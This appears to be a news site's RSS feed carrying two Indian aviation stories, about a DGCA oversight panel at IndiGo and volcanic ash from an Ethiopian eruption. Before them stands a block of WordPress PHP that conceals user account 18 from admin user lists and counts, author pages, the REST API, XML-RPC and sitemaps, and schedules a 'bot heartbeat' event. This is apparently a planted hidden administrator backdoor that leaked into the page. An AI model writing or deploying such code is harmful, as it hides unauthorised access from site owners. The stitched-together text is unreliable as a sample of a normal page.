add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post DGCA Forms Eight-Member Oversight Panel as IndiGo Faces Major Crew Shortage Crisis appeared first on The Edge Media.
]]>As per the order issued on Wednesday, the team will include a deputy chief flight operations inspector, several seniorflight operations inspectors (FOIs), and additional FOIs.
Two members of this group will be stationed at IndiGo’s corporate headquarters every day. Their responsibilities include examining the airline’s total fleet strength, the average distance covered per flight, pilot availability, network planning, crew duty hours, and the number of personnel currently undergoing training.
These officials will also monitor daily flight operations, unplanned staff absences, the number of sectors impacted by crew shortages, and the availability of standby cockpit and cabin crew at each base.
In addition, the DGCA is assigning a senior statistics officer and a deputy director to the airline’s headquarters. Their task is to track domestic and international cancellations, refund processing, punctuality, compensation provided to travellers as per regulations, and the handling of baggage.
Both sets of officials are required to send a detailed daily report by 6 p.m. to Joint Director General (Administration) Harish Kumar Vashishth and Joint Director General Jai Prakash Pandey.
IndiGo has been grappling with significant operational delays and cancellations for over a week. The disruptions began after the implementation of a revised crew rostering framework, which mandates longer rest periods for pilots and other staff, thereby limiting crew availability and impacting flight schedules.
The post DGCA Forms Eight-Member Oversight Panel as IndiGo Faces Major Crew Shortage Crisis appeared first on The Edge Media.
]]>The post India Monitors Volcanic Ash Impact on Flight Operations After Ethiopia Eruption appeared first on The Edge Media.
]]>
A number of flights have been cancelled while many others are experiencing delays due to the drifting ash clouds.
Authorities have stated that there is no immediate threat and that all developments are being continuously assessed.
According to the ministry, seamless coordination is underway between MoCA, ATC, IMD, airlines, and international aviation bodies following the 23 November volcanic eruption in Ethiopia and the eastward spread of ash clouds.
The Airports Authority of India has issued the required NOTAM, and airlines operating affected routes have been informed in advance.
Flight operations across India continue to run largely without disruption, with only minor rerouting or altitude adjustments taken as precautionary measures.
Earlier, Air India reported the cancellation of thirteen flights, including some international services, as aircraft that passed through impacted zones undergo necessary inspections.
On Tuesday morning, the India Meteorological Department noted that the ash clouds are drifting toward China and are expected to fully clear away from Indian airspace by 7:30 pm on Tuesday.
Forecast models suggested the presence of ash influence over Gujarat, Delhi NCR, Rajasthan, Punjab, and Haryana during the day.
The post India Monitors Volcanic Ash Impact on Flight Operations After Ethiopia Eruption appeared first on The Edge Media.
]]>